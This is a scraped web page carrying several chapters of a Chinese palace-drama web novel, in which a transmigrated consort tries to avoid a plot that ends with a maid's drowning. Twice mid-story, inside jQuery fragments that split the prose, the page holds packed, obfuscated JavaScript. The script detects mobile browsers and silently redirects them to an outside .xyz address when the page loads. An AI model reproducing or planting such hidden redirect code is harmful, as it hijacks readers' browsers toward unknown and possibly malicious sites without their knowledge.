$(''#content'').append('' 本是无心之言,云昭昭说完才意识到失言。 但太后却并没有生气,而是静静地盯着那支簪子,回答说:“那位故人便是当今陛下的生母,先帝的昭文皇后。” 云昭昭顿时一惊,这居然是那位即使在原书里也大名鼎鼎的昭文皇后的东西。 书里相传她不仅倾国倾城,同时还温柔贤良,先帝后宫嫔妃无数,但只有她,是先帝一生的白月光,即使故去多年,即使先帝已垂垂老矣,但他还会在她的忌日当天为她写下悼词,缅怀她,歌颂她。 她留下来的东西自然是好的。 知道了这根簪子的价值,云昭昭忍不住在心里骂自己是条不识货的土狗,居然只要了一百两银子,就把这么贵重的东西给当了。她暗自下定决心,什么时候得了出宫的机会一定要去把那支簪子给赎回来。 经过了一上午的交谈,太后似乎有些倦了,两名女官一边一个上前替她按着太阳穴。 “昭昭,哀家瞧你是个不错的孩子,又出身名门,”太后闭着眼,捻着佛珠说,“如今哀家也老了,有些事不得不趁早考虑。” 云昭昭心下一惊,连忙说:“太后娘娘哪里的话,娘娘福泽绵延,青春常驻,臣妾瞧着也是年轻的。” 太后摇摇头道:“不过是金玉其外败絮其中罢了,如今陛下登基马上就要满三年,像哀家这样的老人,就该静心念佛,一心为皇家祈福才是。这后宫虽比不上前朝,却也自有另一方天地,如今哀家也该让位,交给你们这些年轻人了。” 她话里有话,仿佛在暗示要将协理六宫的权柄交付给她。云昭昭虽有意与太后相交,但涉及协理六宫之权,她不得不格外谨慎,而且穿书前的多年社畜经历也让她从来不信顶头上司画的大饼。 她不敢轻易置喙,只低头念了一声:“太后娘娘。” 见她没有反应,太后也没再多言,最后只是说了一句:“你初到乍来,先好好熟悉一下这宫里。往后的事,就看你自己了。” “臣妾多谢太后娘娘。” “行了,哀家今日也乏了,就不留你午膳了。哀家瞧着你有缘,再过两月便是哀家那位故人的忌日,哀家要去云台寺烧香祈福,届时,就由你陪哀家去吧。” 看来太后与先帝昭文皇后姐妹情深,想到她竟会带自己去祭拜这位书里的传奇人物,云昭昭有些受宠若惊,她乖顺地答应道:“是,谢太后娘娘垂爱。” 到此,云昭昭入宫后必做的觐见太后这一关算是圆满通过。她知道自己此番应该算是给太后留了个好印象,离开慈宁宫时的脚步都变得轻快了许多,不一会儿便到了自己的昭阳殿。 昭阳殿位于后宫东北方,毗邻御花园,桥接春波河,远远看去层楼叠榭,碧树银台。步入殿内后,只见里面室雅兰香,相比永麟殿和慈宁宫又是另一番趣味,云昭昭不得不佩服这里原来的主人,也就是太后的品味。 她从家里带入宫的一些摆设和玩意儿都被规规整整地放在了室内,云昭昭四处转了转,越看越对这个“新家”十分喜爱,而且殿内的木制装饰明显是叫人专门翻新过的,用的上好的海南黄花梨,明显是太后叮嘱的。她心里对太后的感激更甚,昨日入宫后积累的不快也随即一扫而空。 然而,她在昭阳殿内转了几圈,把服侍的宫女太监都认了遍,却独独不见逐月的影子。 她忍不住叫住身边一个宫女,问逐月去了哪里。没想到那宫女竟是一副噤若寒蝉,支支吾吾的样子。 云昭昭心知其中必定有鬼,便故意摆出一副严厉的态度来,颇有点书里原身的架势。 “到底发生了什么?逐月人去了哪里?” 那宫女连忙跪下,有些胆怯地交代道:“回贵妃娘娘,逐月姑姑今早回来,见司设监还没把太后娘娘点名让送来的那几盆蝴蝶兰送来,十分生气,现在应该是去找人理论了……奴婢们,谁、谁都拦不住她。” 15. 祸起 云昭昭一听,顿感不妙。 她处心积虑想要避开的剧情,不会就这样又被逐月给重演了罢? 不过此刻的她依然比较乐观,毕竟宫人们都说逐月只是去司设监了,而且依她对书里逐月这个角色的理解,她虽然嚣张、心眼坏、趋炎附势,但还不至于傻到主动上门找女主易琉璃麻烦的地步。 于是她让流霜留下来盯着殿内宫人收拾,自己则带着汀雪亲自去了趟司设监。 司设监的公公见了她像见了鬼似的,总管李四没想到她会亲自来这儿,只好一个劲儿地向她赔笑,又是端茶又是倒水的,好不殷勤。他唠唠叨叨地向云昭昭解释了一大堆,什么那几盆蝴蝶兰是路上遇了旱,到京城后又水土不服,前天夜里蔫死了,什么宫里头现在又专程派人走水路快马加鞭重新运过来…… 云昭昭一心只想找到逐月,哪有心思听他说这些,只喝了一口茶算是个意思,便向他们打听逐月的去处。 结果怕什么来什么。 司设监的人告诉她,逐月跟翠微宫的秋儿闹了个不快,在司设监这里大闹了一通后便走了,估计是去找秋儿去了。 而云昭昭清楚地记得,书里原身入宫后第一次刁难易琉璃、给她下马威时,所打死的那个宫女正好就叫秋儿。 宫里最忌的就是重了名讳,上到贵人主子,下到宫女太监,一直都钉是钉,卯是卯的,所以怎么可能同时有两个叫做秋儿的宫女呢? 今早逐月向她献殷勤吃了闭门羹,现在心里肯定不痛快,她现在要是不赶过去阻止,事情恐怕会往书里的方向发展。 于是她当机立断,让司设监的人带路,带着一脸懵逼的汀雪往书中秋儿被打死的那处长廊赶去。 · 翠微宫地处偏远,位于后宫的一角,与皇帝的养心殿不仅隔了几重宫殿,还隔了整整一个御花园,而春波河畔的百米游廊,则是前往翠微宫的必经之路。 逐月抄了近道,终于在长廊的入口处堵住了回宫的秋儿。 秋儿不过十六岁,原是尚寝局负责司灯的小宫女,从前见了面,必是要恭恭敬敬地叫她一声姑姑的。只是她运气挺好,被分到翠微宫后恰好逢上了那易氏的贴身宫女病死、大宫女告老出宫,她一个乳臭未干的丫头便顶了上去,如今已成了易氏跟前最得力的人了。 只可惜易氏是那批入宫的嫔妃中最不争气的,若是没有昨天夜里皇上的突然临幸,恐怕现在谁也想不起来翠微宫里还住着个姓易的答应。 现下秋儿提着三挂红萝炭,胳膊下夹着一包东西,远远地见了逐月就低着头装作没看见她。 “站住!”逐月不客气地吼道,拦住了她的去路。 被逐月堵住,秋儿只好赔笑道:“我道是谁呢,原来是逐月姐姐。多日未见,还没来得及恭喜姐姐高升。” 逐月听她这么称呼自己,气得不行。 之前这小妮子见她还是姑姑,现在就成了姐姐了,这宫里的人果然踩高捧低。 逐月当即啐了一口,骂道:“你这小破蹄子,跟着你那主子攀了高枝儿,就不把我看在眼里了!” 秋儿见她一脸煞气,不愿同她争执,连忙讨好道:“哎呀,姑姑,我这不是跟您开个玩笑嘛,您快让让,我家主子今早精神不济,还等着我把这血燕窝炖了给她补身体呢。” 秋儿的话可能出自无心,但在逐月看来则像是赤裸裸的炫耀和挑衅。 她不仅没让,反而更逼近了秋儿几步,拽着她的头发道:“小蹄子,你眼里哪里还有主子?这血燕窝一年到头连太后娘娘都吃不上几回,如今倒让你家主子一个小小的常在要了去,我看尚食局那群狐狸精也是倒反天罡了。” 她话说得难听,秋儿脸上也不大好看,只好解释道:“可、可是,这是陛下亲口允了的。” 逐月听了解释后,冷笑道:“呸,我当翠微宫里住着个什么清净人呢,骨子里还不是狐媚子!果然是一朝得了宠,有了陛下撑腰尾巴就翘天上去了,连你秋儿都敢在背后嚼主子的舌根儿了,你知道背后诋毁主子是什么下场吗?!” 秋儿立马变了脸色,嘴唇哆嗦起来。 “逐月姑姑,您、您都听到了?” “既然都敢在背后嚼主子舌根,难道还怕人听到?”逐月脸上带着一抹得逞又讽刺的笑容。 事实上,自从早上被云昭昭打发回宫后,她心里就忿忿不平。 她入宫已有十载,经历的人和事多了,又吃了不少苦,好不容易才拼出了一点儿成绩,这回赶上云琛之女入宫,她更是久作筹谋,多方打点,不知疏通了多少关系,才从别人手中抢来了昭阳殿女官这么个“肥差”,本打算在新主子跟前好好表现,有一番作为,结果云昭昭入宫不过一晚就给了她当头棒喝。 她没想到这相传生得天姿国色的云家千金,一进宫就遭受了冷遇,陛下甚至连做做样子都不愿,反而让进宫两年都默默无闻的易氏得了便宜。 想当初她成为昭阳殿女官的时候,是何等的风光得意啊!那些落选者表面上有多么恨她,背地里就有多么嫉妒她。 但仅仅一个晚上,一切就全变了。 她成了整个宫里最大的笑柄,之前那些恨她的人一定在背后狠狠地嘲笑她、踩踏她。 这些人往上爬的的最终目的,只是为了借着东风爬上陛下的床而已,她怎么可以输给这种狐媚子玩意儿? 而且按照之前打听来的云昭昭的脾气,她以为她一定会忍无可忍,大发雷霆,却没料到她不仅没有一点儿生气,反而还把好心想要去太后那里告状的自己给打发回了昭阳殿。 回去后,她思来想去,把一切归因于云昭昭刚入宫,还不太信任自己。 碰巧她发现之前太后吩咐让摆在昭阳殿的几株蝴蝶兰司设监还没差人送过来,便差了一名小太监过去催。几次三番催不动后,她找那小太监一问,才得知司设监那群趋炎附势的小人,见昨晚云昭昭被冷落,便转头讨好翠微宫的易常在去了。 逐月怎么想怎么咽不下这口气,当即就不顾昭阳殿里其他人的阻拦,跑到司设监去了。 说巧不巧,她到司设监的时候,还没走进院子就听见不远处的紫藤架旁,翠微宫的秋儿手上提了不少东西,路过此地,在同一个叫见喜的小太监说着悄悄话。 “喜公公,那几盆蝴蝶兰不送去,不怕到时候贵妃问起责罚吗?” 这见喜是掌印太监李四认的干儿子,当下不屑道:“怕什么,皇上昨晚都怠慢了她,咱们做下人的,就是要循着主子的意思,顺势而为,不然,将来怎么死的都不知道……” “可是到处都说这位新来的贵妃娘娘是个不好惹的主儿,据说像那什么……母夜叉,说不好要怎么为难你们。” 见喜说:“她要真如传言那样,以后少不得要我们司设监做这做那,干爹说了,不如趁现在先杀杀她的威风。” 秋儿听了咯咯地笑了起来,幸灾乐祸道:“那你们就不怕逐月姑姑来闹吗?那位也是个难缠的主儿啊。咦,说来怎么这宫里最难缠的人,都聚在那昭阳殿了,什么风水。” 逐月听见她提起自己,恨不得冲出去扇秋儿几巴掌,但还是憋着一口气,竖起耳朵听他俩后面的话,结果就听那见喜笑了一声,“她?她就更不怕了,一心踩高捧低,为了能去云贵妃身边当差,不是挤掉了不少人吗,连尚宫局的慕薇姑娘都给挤掉了,如今这样也真是活该。” 秋儿在一旁附和道:“果真是恶有恶报,风水轮流转,天道好轮回……” 逐月心高气傲惯了,哪里听得别人在背后这样埋汰自己?当即从门口冲进去,扭着见喜在司设监大闹了一场,还是李四及时赶到,好说歹说才把她给劝住,让见喜当面给她赔了个不是。但秋儿那丫头,则早就趁乱溜走了。 现在逐月好不容易堵着秋儿,根本不可能轻易放过她。 见秋儿不说话,逐月便像逮住了她的小辫子一样,威胁道:“敢做不敢当是吧,果然有什么样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108291|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的主子就有什么样的奴才!净会在背后使些下作的勾当!” “你说什么?”秋儿道,“你有本事再说一遍?” 逐月从昨晚到现在憋的一肚子气终于像是找到了宣泄口似的,她毫不客气地说:“我说你也跟你那主子一样,只会在背后干些偷鸡摸狗的勾当,使些狐媚子手段。一朝得了势就目中无人起来了。” 秋儿听到她这样说自己的主子,气得把手中的红萝炭一扔,当场为易琉璃辩驳。 “你们这些人,我算是彻底看透了!我主子入宫两年了,你们看她不得皇上宠爱,就根本不把她当主子。去年冬天,你逐月姑姑一介宫女都能捞得不少红萝炭,我们翠微宫,却烧了整整一个冬天的黑炭!” “去年我那筐红萝炭是宋修媛赏我的!你不要血口喷人!” 听到这里,秋儿讽刺地笑了笑:“赏你也好,不赏也罢,你们一个个当奴婢的也能踩到我主子头上,不过就是看着她好欺负罢了。她脾性好,心又善,总是自己默默忍受,你们就变本加厉地把她一个主子往尘土里踩。” 说到这里,秋儿也往前一步,眼里带着挑衅,毫不示弱道:“你刚才说我背后污蔑主子,那你们这些直接明面欺负主子的人,岂不是早就该被拖去宫正司千刀万剐了!” “你放肆!目无王法的家伙!” 逐月气得不行,当下再也忍不住,扯着秋儿的头发,抬手就给了她一巴掌,“看我今天不好好替娘娘教训你!” 秋儿脸上一下子留下红印,当即大喊:“你放手!你放开我!你个眼红的疯婆子!” 逐月一听,气急败坏。她力气很大,个子又比秋儿高,很快便扯乱了秋儿的头发。秋儿也不甘示弱,当即与逐月扭打了起来。逐月气得红了眼,一使劲儿,把秋儿推得撞到了旁边的回廊柱子上,然后往她的肚子上狠狠踹去。 “只会背后说主子坏话的下贱东西!这一脚是替我们娘娘教训你的!” “嗳唷!”秋儿挨了她结结实实一脚,疼得手里的布包掉在地上,里面领的干果、香料还有那珍贵的血燕窝撒落了一地。她疼得在地上蜷缩成了一团,捂着肚子,痛苦地呻吟着。“救命!救命啊!” 云昭昭隔着老远就听见了逐月教训秋儿的声音,心里又急又气。那带路的人见势头不对,赶紧跑路了。云昭昭只好带着汀雪,连走带跑地往长廊的另一头赶去,生怕晚了一秒,秋儿就被逐月给打死,重复上演文中她想要避开的那段剧情。 然而,就在她正要上前阻止这场闹剧的时候,长廊尽头,一个熟悉的身影一闪,抢在了她的前面。 “你们在做什么?!” 周徵今日穿了一身玄色衣裳,他刚从城外的五军营中回来,准备抄近道走御花园去养心殿同赵昶议事,没想到路过这里,正好撞见了逐月教训秋儿,连忙上前喝止。 逐月这才松开手道:“侯爷,奴婢正在按宫规教训这背后搬弄是非污蔑主子的小人。 秋儿半张脸被打得乌青,见了周徵如同溺水的人见到了浮木。 她连滚带爬地靠近周徵脚边,声泪俱下地哀求道:“武安侯救命!求求您,救救奴婢吧!奴婢没有污蔑主子!” 周徵不为所动地移开脚,他并没有义务理会这种事,更不想跟后宫有任何的牵连。这也是他在宫中行走多年所奉行的准则。 他不想多事,只警告了两人一番,便扭头要走。 秋儿见他不管,又爬了几步,大声哭喊道:“侯爷,求求您救救奴婢吧!求求您也救救主子吧!云贵妃和她的宫女欺人太甚,刚进宫就要活生生地打死奴婢了!以后还指不定要怎么逼迫我家主子!” 听到云贵妃那三个字,周徵的脚步一下子被钉在了原地。 “你说什么?”他蹲下身,指着逐月问秋儿道,“她是谁宫里的人?” 他话音刚落,不等秋儿回答,就听见身后传来云昭昭的声音。 “逐月是我宫里的人,怎么,想管?” 16. 萧墙 “是又如何?”周徵同样反问,“不能管?” 云昭昭笑了一下,毫不避讳地打量着周徵。 只见他一身劲装,黑靴子上沾了不少的干草须,袖口部分像是被什么利器挂得开了线。 她忍不住出声嘲讽道:“武安侯可真是个大忙人,又是替陛下跑腿卖命,又要盯着朝中人的一举一动,现在还要管起后宫的事儿来了?” “是去了五军营。没有跑腿。”周徵冷漠地回答道,眼睛却刻意地避开了云昭昭,“况且锦衣卫司侍卫之职,不论宫内还是宫外,前朝还是后宫,只要威胁到陛下的安全,都在本侯的职责范围之内。” 他的语气虽没有波澜,但却别有一番义正言辞的感觉。 云昭昭仿佛能从他那紧绷的神态、板正的语气中,窥见他的内心。在周徵心里,一定已经把她看成了一个心胸狭隘善妒,心狠手辣,爱拿底下人撒气的女人,纵观历史,大概对应的就是贾南风、李凤娘那样的形象。 不知道为什么,她有种说不出的生气。 虽然他们第一次见面就不和,但到现在为止,她真做了什么恶毒的、伤天害理事么? 于是她毫不客气地反唇相讥道:“武安侯,本宫就不明白了,本宫的宫女同翠微宫的宫女有过节,怎么就会威胁到陛下的安全了?难不成,武安侯的护卫就如此不堪一击,连一个小小的宫女都害怕。” 周徵依旧没看她,也冷笑着说:“就是千里之堤也能溃于小小的蚁穴,本侯能防得了敌人,却防不了自家院子里的疯狗,何况这背后的主人,也是疯狗。” “你!周徵!” 云昭昭被他这一通指桑骂槐气得不行。 但周徵没理她,他取下腰间的绣春刀,连带着刀鞘递到秋儿身边。 “还能动吗?”周徵说,“能动得话就扶着点起来吧。” 秋儿含泪坐在地上,动了动脚踝,委委屈屈地摇了摇头,“侯爷,奴婢刚刚被逐月姑姑推的,脚扭伤了。” 换作以前,看到秋儿这样的小姑娘受了委屈,受了伤,云昭昭是绝不会坐视不管的。可现在,周徵在这里,她突然坏心地想看看这个连搀扶一个异性都要通过绣春刀,“冰清玉洁”的人,面对一个哭得梨花带雨的小宫女,究竟会作何打算。 周徵果然没动,似乎在犹豫,最后只是说:“我会命人过来。” 云昭昭忍不住发出一声嗤笑,然后周徵就狠狠地抬头瞪了她一眼。 秋儿委委屈屈地抹了把泪,抱住周徵的靴子,控诉道:“侯爷,奴婢在路上走得好好的,是逐月,是逐月突然出现非要说奴婢污蔑她家娘娘,不管三七二十一就是一顿打,您执掌锦衣卫,明察秋毫,一定要替奴婢做主啊!” 她哭得伤心,半张脸红肿,鼻涕眼泪糊作一团,几乎要蹭到周徵的衣角。 周徵则不动声色地退了一步,对云昭昭说:“云贵妃既然管不住自己手下的宫人,那本侯只能亲自将其押往宫正司了。” 虽然逐月打人在先,自己也并不喜她为人,但如今她到了昭阳殿,云昭昭在潜意识里便把她当成了自己的人。见周徵不问青红皂白就要处置自己宫的女官,她上前一步,挡在逐月身前。 “你什么意思?”云昭昭说,“你怎么知道她说的都是实话?武安侯只听信一面之词,让本宫很难不怀疑你们锦衣卫平时就是这样审讯犯人的。” 逐月见状,立马跪下道:“娘娘明察,是秋儿在司设监同人污蔑娘娘,被奴婢撞见了还嘴硬,奴婢也是担心娘娘的声誉,一时被气昏了头,才想着要教训一下这丫头的。” “我没有……”秋儿辩驳道,气势却弱了很多。 “你!”逐月气愤道,“行啊,有本事就把见喜那小太监也一起叫来,就问问你们到底说没说!” “我……”秋儿对司设监那群太监的德行再清楚不过,只好不吭声了。 “武安侯听见了吗?”云昭昭面露讥讽道,“若是照武安侯的处理,那这天底下,总是没有难办的案子。‘锦衣卫向来只跟踪可疑之人……从来没有冤枉过任何人’这可是侯爷亲口所说的。” 周徵脸色很难看,握着刀柄的指节发白。 周徵越是不爽,云昭昭越是高兴,她挑衅般地看着他,意思是你还想怎样? 周徵动了动嘴唇,最终没有说话。他有点后悔自己非要插手这后宫里的闲事,最后只得沉默地收回了绣春刀,嘱咐跌坐在地上的秋儿:“你在这里等一下,我去找人来送你回宫。” 临走前,他又回过头对云昭昭说:“本侯最后再劝云贵妃一句,好自为之。这样的事如果今后都出在同一人身上,那可就别怪刀剑无眼。而且,本侯为了保护陛下周全,从未冤枉过任何人。” 说罢,他转身离去,像是笃定了自己刚才一番掷地有声的话语能起作用一样,留着秋儿在原地,自己朝着养心殿的方向走去。 他一走,秋儿如同一只受了惊瘸了腿的羚羊,睁着湿漉漉的眼睛看着云昭昭她们,吓得又缩瑟在了一团。 “娘娘,我们、我们现在怎么办?”汀雪看了一眼坐在地上的秋儿,小心翼翼地问。 云昭昭其实很想让人将秋儿送回翠微宫,但她转念一想,在秋儿或者易琉璃的眼里自己都已经成了一个恶人,自己再将人送回去,未免显得假惺惺的。而且周徵这一去,应该很快便会回来,她穿书以后每次遇见他必定没有好事,她实在不想再看到他。 仔细思索过后,云昭昭对逐月说:“逐月,把地上的东西给她捡起来,就当赔不是了。” “哼。”逐月狠狠地瞪了秋儿一眼,十分不爽,却还是将散落一地的东西一一捡起,一股脑地塞进包裹里,扔到秋儿腿上。 云昭昭见她走路都不方便,等会儿回宫肯定是需要人背着的,何况还有三挂沉甸甸的红罗炭,便又起了恻隐之心。她命一旁的汀雪将东西和炭替她送到翠微宫里,顺便再转告那边自己改日得空了,定会登门拜访致歉。 她又怕秋儿想不开,便好人做到底,语气缓和地安抚了一通秋儿,告诉她是自己管教下人不严,今天的事并不会放在心上。秋儿最终止住了哭,小心地点了点头,眼睛红红的像只兔子。 云昭昭这才勉强放心,做完这一切后,她就带着逐月回宫了。 回宫后,云昭昭支开了其他宫人,趁着逐月和流霜替她更衣的时候,啪地一下把头上的簪花扔在了地上,冲着逐月道:“逐月,你给我跪着!” 她虽为逐月的自作主张而生气,但她骨子里就不是那种苛责下属的人,尤其是穿书前,她也曾像一只沙包一样,作为底层的打工人受尽了上司的窝囊气。 所以穿书那么久,她依然不太习惯指使人,像流霜和汀雪在她心里更是像自己的姐妹一样。只是古人受长幼尊卑的礼教压迫惯了,并不能接受她自由、平等的思想,所以她也不得不学着,拿捏出一点主人的架势来。 不过这样现学现卖,到底是声厉内荏,特别是她现在学着自己那些狗屁领导摔桌骂人的样子,表演痕迹难免重了点,动作幅度也夸张了些,怎么想都觉得有些滑稽。 但逐月明显是被云昭昭夸张的表演给弄懵了——或者说她在宫里见惯了笑里藏刀的,很少见这种直接奔放的,所以她当即跪下,把见喜和秋儿背地里议论的内容一五一十地告诉了云昭昭。 云昭昭听后气消了不少,这事也不能全怪逐月,但因为书里后续的剧情,她依然对她很不放心,想着改改她的性子,便罚她跪上整整一个时辰。 一个时辰很快过去,但汀雪却还没有回来。 随着时间的流逝,云昭昭的心越来越忐忑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108292|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,终于,她再也无法安稳地坐在位子上等待了。 她嗖地一下起身,紧张地问逐月:“这里到翠微宫要走多长时间?” 逐月刚领过罚,语气变弱了不少,她有些讨好地解释道:“娘娘,我们回来那处距离翠微宫最多也就十分钟的路程,而我们回来大约用了一炷香的时间,按理说,现在过了一个时辰,汀雪就算找不到路绕远了些,也该早就回来了才是。” 流霜见云昭昭脸色不好,给她倒了杯安神的花茶,安慰道:“知道小姐一向最心疼汀雪了,许是在翠微宫里多耽搁了一会儿,别担心。” “但愿吧。”云昭昭皱着眉道。 虽然她嘴上这么说,但心里却并不这么认为,那种不好的预感越来越强烈。若不是流霜和逐月都拦着她,她真想马上奔去翠微宫。 又等了约莫半炷香,汀雪终于回来了。她头发散了一半,额头上渗着细密的汗珠,衬裙下摆沾了一些泥土,就这样跌跌撞撞、风尘仆仆地跑进殿内。 “娘娘,娘娘,不好了,出事了!” 云昭昭猛地一下惊起,心脏跳得飞快,“出什么事了?!” 汀雪上气不接下气地说:“娘娘,秋儿、秋儿她不见了!” “你说什么?” “是真的!奴婢去翠微宫送了东西又折返回去,发现原地没人,以为……以为是武安侯带她走了,结果哪知在路上又碰见了他,这才知道秋儿不见了,回去翠微宫找,也没人,现在……现在,武安侯正在差人到处她。” 汀雪说完,发现云昭昭脸色已差到极致,她不知其中缘由,连忙问:“娘娘您脸色怎么这么差,要不奴婢再去叫太医过来?” 云昭昭瘫坐在椅子上,无力地摆了摆手,“算了,你歇着吧。” 此刻,她知道一切都来不及了,恐怕悲剧已经酿成,只是最终审判的钟声还未响起,但余下的时间,她除了坐以待毙,什么也做不了,什么也改变不了。 她只能等,等着周徵那边的消息。 时间随着燃掉的香灰一点一滴地掉落,流逝,云昭昭连晚膳也没心思用,只呆呆地坐在宫里。 直至残阳散尽,碗碟中佳肴放冷,终于有人前来通报,说是春波河的下游突然漂了一具浮尸,翠微宫的宫人看过后,确认那正是秋儿。 云昭昭的大脑嗡的一响。 最后见到秋儿的是她和她的宫女,而且还是在周徵的见证下,没有人可以作证不是她指使人干的。 况且就算秋儿是自己想不开落水的,那将她欺负成那样的逐月便脱不开关系,自己则怎么看怎么像罪魁祸首。 没想到她处心积虑想要避开的剧情,竟然以这样的方式上演了。 而事情的发展如同离弦的箭,并不给她任何辩解、回寰的余地。 秋儿的死讯很快便被带到了赵昶那里,当晚,太监就带来谕旨,罚昭阳殿女官逐月四十大板,命贵妃云氏在殿内禁足思过,并罚抄佛经十卷,未抄完前不得离开昭阳殿半步。 为了安抚易琉璃,他一连留宿翠微宫七日;同时,也为了褒奖她的大度,他又赏了她不少奇珍异宝。 这晚之后,宫里人都说,是云贵妃不满易常在在她入宫当晚的得宠,而命逐月逼死了秋儿。 不过很快,秋儿一个小宫女的死,如同落入水中的一粒小小石子,波澜过后很快就被众人彻底遗忘了,只有贵妃云氏的善妒与狠毒,在阖宫之间,口口相传。 云昭昭每天都会听着流霜和汀雪汇报外面那些关于她的传闻。 伴随着一晚又一晚迢递的更漏声,她终于抄完了那十卷冗长的佛经。 在昭阳殿的殿门重新打开的那一天,一大早便有宫人前来传信,说是今岁移植宫中的名贵菊花都开了,太后在御花园设了赏菊宴,邀请各宫嫔妃赴宴。 17. 赴宴 关于原书中的这场赏菊宴,云昭昭有些印象,但印象并不深。 因为它只是主线剧情中的一个小小插曲。 原书里,在这场众人赏赏花,喝喝下午茶,说着一些表现轻松实则剑拔弩张的家常话的宴会上,不知道是谁突然提议要玩射覆游戏,要给这场无聊透顶的宴会增加一点乏善可陈的变数,“射方”如若猜对,则可向“覆方”讨要一个彩头。 众嫔妃纷纷应允,但积极性低迷,毕竟这是文人们在酒桌上的把戏,亦或是一些下九流的相师方士们所好,在一些人看来要么过于附庸风雅,要么颇不入流。 但变数出现在了抽签分组的时候。 赵昶偶然路过御花园,见众人在席间玩起了射覆,觉得有趣,便加入了进来。 原本轻松的氛围一下子变得剑拔弩张起来,毕竟“射方”是有机会向“覆方”讨要彩头的,在场的嫔妃们各怀鬼胎,人人都想同赵昶一组,尤其是原身云贵妃,怎么可能放过这绝佳的争宠机会。 云昭昭还记得,书里抽签为了公平起见,是由司礼监负责准备的,逐月在原身的授意下,不知道用了什么方法贿赂了司礼监的人。 所以后来抽签分组的时候,原身信心十足。 然而真正的结果却令她大跌眼镜。 嫔妃们全都私下进行了贿赂,司礼监的太监收了钱又怕得罪人,估计是觉得所有人都得罪相当于谁也没得罪,便将所有收了钱的牌子进行了标记,赵昶抽签时一眼便注意到了那唯一一个没做任何标记的牌子。 于是最后和他分到一组的人,便是书里佛系躺平,不争不抢的女主易琉璃。 她安安稳稳地坐在角落里,丝毫不在意周围的火药味,在一众乱花渐欲迷人眼的莺莺燕燕中,独自享受着席间的美食与热茶。 正是这份安静和与世无争,格外吸引赵昶的注意。她也无意中再次躺赢,成为众嫔妃羡艳的对象。 而原身机关算尽,最后却竹篮打水一场空。她怎么可能咽得下这口气,当场便将矛头怪罪到了易琉璃身上,撒泼发了一通脾气,闹得好端端的宴会不欢而散,也惹得赵昶震怒。 这便是云昭昭能想起来的书里有关这场赏菊宴的所有剧情。 相比之前秋儿的死,这剧情在她看来相当不足为虑,不但没有任何实质性人员伤亡,而且她又不会像原身那样作死。她只要按兵不动地当个看戏的观众,就可完完全全避开原书的发展。 因此第二天,当东方的天空刚刚露出鱼肚白的时候,云昭昭便起床梳妆准备了。 她对这场宴会虽无期待,但却必须重视。毕竟邀请的人是太后,她还是很有必要给太后留个好印象,再加上入宫至今一直被禁足,她还从未见过这宫里的其他嫔妃。 于是她一改之前明艳的装扮,特意挑了条月白色宫缎素雪绢裙,看上去低调又素雅——她才刚禁足抄完佛经,不宜穿得太过张扬。 而那素色的纱面乃珍贵的冰蚕丝织成,轻软如烟,在阳光的照耀下变幻出云霞般的色泽,上面洒金的流云纹饰流光溢彩。 低调,奢华,还不会过分的扎眼。这便是云昭昭为自己挑选的装束,既显得自己“知错能改”,又迎合了太后喜素净的性子,还不会教其他嫔妃轻易地看轻自己。 换好衣服后,她又命逐月为她梳上一个看起来最朴素的发髻,发间只别两朵新摘下的芙蓉花,不做其他繁复装饰。 只有这样,她才能告诉太后,也顺便告诉赵昶,这些天的禁足没有白禁。 事实上,也并没有白禁。 被圈在昭阳殿的这些天里,她心里几乎是日夜憋着一股劲儿,免了日常的梳妆,素衣披发,废寝忘食,自虐般地抄完了那冗长的经书。 尽管云昭昭自问没有任何害人之心,但秋儿的死,还是成了她的一个心结,令她百思不得其解,也令她无法放过自己。 首先是事发地,当时她也有仔细留意过周围的环境,那儿的小道离春波河较远,中间隔了数丛灌木,后面荆棘杂草遍布,而河畔那条百米长的游廊,又修了近一米高的围栏,秋儿当时已扭伤了脚踝,行动不便,不可能是从游廊上失足落水。 其次,若是秋儿真是为人所害,那么是谁会想要秋儿一个小宫女的性命,又是谁想要自己背上这口黑锅呢? 宫里其他人就算有心,也不可能在时间上那么赶巧——除非能像自己一样未卜先知,所以只有可能是在场的当事人干的。而所有的当事人中,除了周徵,云昭昭再也想不出谁想要除掉自己。 但绝不可能是周徵。 尽管他们不和,但云昭昭就是知道,周徵不会、也不屑于这样做,更不会用这样迂回的方式。 他如果要除掉自己,只会让手中的刀,扎进自己的动脉,再冷漠地看着鲜血涓涓成河。 干净、痛快、坦荡,这才是周徵的行事风格。 所以最后云昭昭左思右想,觉得唯一的可能只剩下一个——就是秋儿受了气,又害怕自己记恨上她和她的主子,便选择了投河,以自己的死来引起赵昶对易琉璃的重视,同时也引起赵昶对自己的警惕。 多么聪明、多么护主心切的姑娘啊,云昭昭忍不住感叹。 只可惜,自己从未想过要害她的主子,所以她也并不需要用这样决绝的方式结束自己年轻的生命。 但归根到底,秋儿这个年轻的、鲜活的生命最终还是因为自己而逝去。 云昭昭越想越不是滋味。 她想起原书女主易琉璃在秋儿死后犯起心悸、夜里还担惊受怕的那段剧情。当时她还十分感同身受,因为曾经她也是这样的,在高三毕业和父母决裂之后,她总是心悸梦魇,后来在心理医生的调理下才慢慢好了起来。 可她怎么就从同情者,变为了一个刽子手呢? 云昭昭恍惚地盯着面前的铜镜,逐月在为她梳头,铜镜里露出一张陌生的脸。 过分美丽的,却不是属于她的脸。 